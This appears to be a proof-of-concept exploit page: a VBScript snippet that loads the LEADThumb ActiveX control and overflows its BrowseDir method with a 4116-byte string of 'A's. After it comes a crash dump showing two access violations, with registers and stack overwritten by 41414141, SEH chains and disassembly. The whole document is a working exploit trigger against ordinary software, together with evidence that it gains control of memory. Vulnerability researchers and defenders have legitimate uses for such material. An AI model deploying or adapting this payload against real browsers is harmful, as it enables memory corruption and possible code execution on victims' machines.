<html>
Test Exploit Page
<object classid='clsid:00110200-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' /></object>
<script language='vbscript'>
targetFile = "C:\Program Files\Rational\common\lttmb11n.ocx"
prototype = "Function BrowseDir ( ByVal pszDirectory As String ) As Integer"
memberName = "BrowseDir"
progid = "LEADThumbLib.LEADThumb"
argCount = 1
arg1=String(4116, "A")
target.BrowseDir arg1
</script>
Exception Code: ACCESS_VIOLATION
Disasm: 7C80BE74 MOV CL,[EAX]
Seh Chain:
--------------------------------------------------
1 7C839AD8 KERNEL32.dll
2 73352960 VBSCRIPT.dll
3 7C839AD8 KERNEL32.dll
Called From Returns To
--------------------------------------------------
KERNEL32.7C80BE74 LTTMB11n.AC1153
LTTMB11n.AC1153 OLEAUT32.77135CD9
OLEAUT32.77135CD9 OLEAUT32.771362E8
OLEAUT32.771362E8 lttmb11n.AA6E11
lttmb11n.AA6E11 lttmb11n.AA27C9
lttmb11n.AA27C9 VBSCRIPT.73303EB7
VBSCRIPT.73303EB7 VBSCRIPT.73303E27
VBSCRIPT.73303E27 VBSCRIPT.73303397
VBSCRIPT.73303397 VBSCRIPT.73303D88
VBSCRIPT.73303D88 VBSCRIPT.7330409F
VBSCRIPT.7330409F VBSCRIPT.733063EE
VBSCRIPT.733063EE VBSCRIPT.73306373
VBSCRIPT.73306373 VBSCRIPT.73306BA5
VBSCRIPT.73306BA5 VBSCRIPT.73306D9D
VBSCRIPT.73306D9D VBSCRIPT.73305103
VBSCRIPT.73305103 SCROBJ.5CE44396
SCROBJ.5CE44396 SCROBJ.5CE4480B
SCROBJ.5CE4480B SCROBJ.5CE446A6
SCROBJ.5CE446A6 SCROBJ.5CE44643
SCROBJ.5CE44643 SCROBJ.5CE44608
SCROBJ.5CE44608 1013C93
1013C93 1006B0C
1006B0C 100332C
100332C 1003105
1003105 1003076
1003076 1002F16
1002F16 KERNEL32.7C817077
Registers:
--------------------------------------------------
EIP 7C80BE74
EAX 41414141
EBX 00000000
ECX 41414141
EDX 41414142
EDI 00AA46E9 -> 8BEC8B55
ESI FFFFFFF6
EBP 0013C560 -> 0013EDAC
ESP 0013C53C -> 00AA46E9
Block Disassembly:
--------------------------------------------------
7C80BE5D CALL 7C8024D6
7C80BE62 MOV EAX,[EBP+8]
7C80BE65 TEST EAX,EAX
7C80BE67 JE 7C836665
7C80BE6D AND DWORD PTR [EBP-4],0
7C80BE71 LEA EDX,[EAX+1]
7C80BE74 MOV CL,[EAX] <--- CRASH
7C80BE76 INC EAX
7C80BE77 TEST CL,CL
7C80BE79 JNZ SHORT 7C80BE74
7C80BE7B SUB EAX,EDX
7C80BE7D OR DWORD PTR [EBP-4],FFFFFFFF
7C80BE81 CALL 7C802511
7C80BE86 RETN 4
7C80BE89 NOP
ArgDump:
--------------------------------------------------
EBP+8 41414141
EBP+12 0013EDAC -> 0013EDCC
EBP+16 00000008
EBP+20 02231F58 -> 00AAA628
EBP+24 0013CD70 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP+28 00000000
Stack Dump:
--------------------------------------------------
13C53C E9 46 AA 00 F6 FF FF FF 00 00 00 00 3C C5 13 00 [.F..............]
13C54C AC F1 13 00 AC F1 13 00 D8 9A 83 7C 90 BE 80 7C [................]
13C55C 00 00 00 00 AC ED 13 00 53 11 AC 00 41 41 41 41 [........S.......]
13C56C AC ED 13 00 08 00 00 00 58 1F 23 02 70 CD 13 00 [........X...p...]
13C57C 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 [................]
Exception Code: ACCESS_VIOLATION
Disasm: AC115A CMP BYTE PTR [ECX+EAX-1],5C
Seh Chain:
--------------------------------------------------
1 73352960 VBSCRIPT.dll
2 7C839AD8 KERNEL32.dll
Called From Returns To
--------------------------------------------------
LTTMB11n.AC115A OLEAUT32.77135CD9
OLEAUT32.77135CD9 OLEAUT32.771362E8
OLEAUT32.771362E8 lttmb11n.AA6E11
lttmb11n.AA6E11 lttmb11n.AA27C9
lttmb11n.AA27C9 VBSCRIPT.73303EB7
VBSCRIPT.73303EB7 VBSCRIPT.73303E27
VBSCRIPT.73303E27 VBSCRIPT.73303397
VBSCRIPT.73303397 VBSCRIPT.73303D88
VBSCRIPT.73303D88 VBSCRIPT.7330409F
VBSCRIPT.7330409F VBSCRIPT.733063EE
VBSCRIPT.733063EE VBSCRIPT.73306373
VBSCRIPT.73306373 VBSCRIPT.73306BA5
VBSCRIPT.73306BA5 VBSCRIPT.73306D9D
VBSCRIPT.73306D9D VBSCRIPT.73305103
VBSCRIPT.73305103 SCROBJ.5CE44396
SCROBJ.5CE44396 SCROBJ.5CE4480B
SCROBJ.5CE4480B SCROBJ.5CE446A6
SCROBJ.5CE446A6 SCROBJ.5CE44643
SCROBJ.5CE44643 SCROBJ.5CE44608
SCROBJ.5CE44608 1013C93
1013C93 1006B0C
1006B0C 100332C
100332C 1003105
1003105 1003076
1003076 1002F16
1002F16 KERNEL32.7C817077
Registers:
--------------------------------------------------
EIP 00AC115A
EAX 00000000
EBX 00000000
ECX 41414141
EDX 00000000
EDI 00AA46E9 -> 8BEC8B55
ESI FFFFFFF6
EBP 0013EDAC -> 0013EDCC
ESP 0013C56C -> 0013EDAC
Block Disassembly:
--------------------------------------------------
AC113E PUSH EAX
AC113F CALL [ACE1B0]
AC1145 MOV ECX,[ESP+7B4]
AC114C PUSH ECX
AC114D CALL [ACE1AC]
AC1153 MOV ECX,[ESP+7B4]
AC115A CMP BYTE PTR [ECX+EAX-1],5C <--- CRASH
AC115F JE SHORT 00AC1171
AC1161 LEA EAX,[ESP+68]
AC1165 PUSH ACA03C
AC116A PUSH EAX
AC116B CALL [ACE1A8]
AC1171 MOV EAX,[ESP+7B8]
AC1178 LEA ECX,[ESP+68]
AC117C PUSH EAX
ArgDump:
--------------------------------------------------
EBP+8 02231F58 -> 00AAA628
EBP+12 00184934 -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EBP+16 0013EE10 -> 00000000
EBP+20 0013EE00 -> 00130000
EBP+24 02281A50 -> 00000038
EBP+28 0013EDC0 -> 0013EE00
Stack Dump:
--------------------------------------------------
13C56C AC ED 13 00 08 00 00 00 58 1F 23 02 70 CD 13 00 [........X...p...]
13C57C 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 [................]
13C58C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [................]
13C59C 1C 00 00 00 96 00 00 00 96 00 00 00 00 02 00 00 [................]
13C5AC 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 [................]
ApiLog
--------------------------------------------------
***** Installing Hooks *****
7c821a94 CreateFileA(C:\WINDOWS\system32\rsaenh.dll)
7c821a94 CreateFileA(C:\WINDOWS\system32\rsaenh.dll)
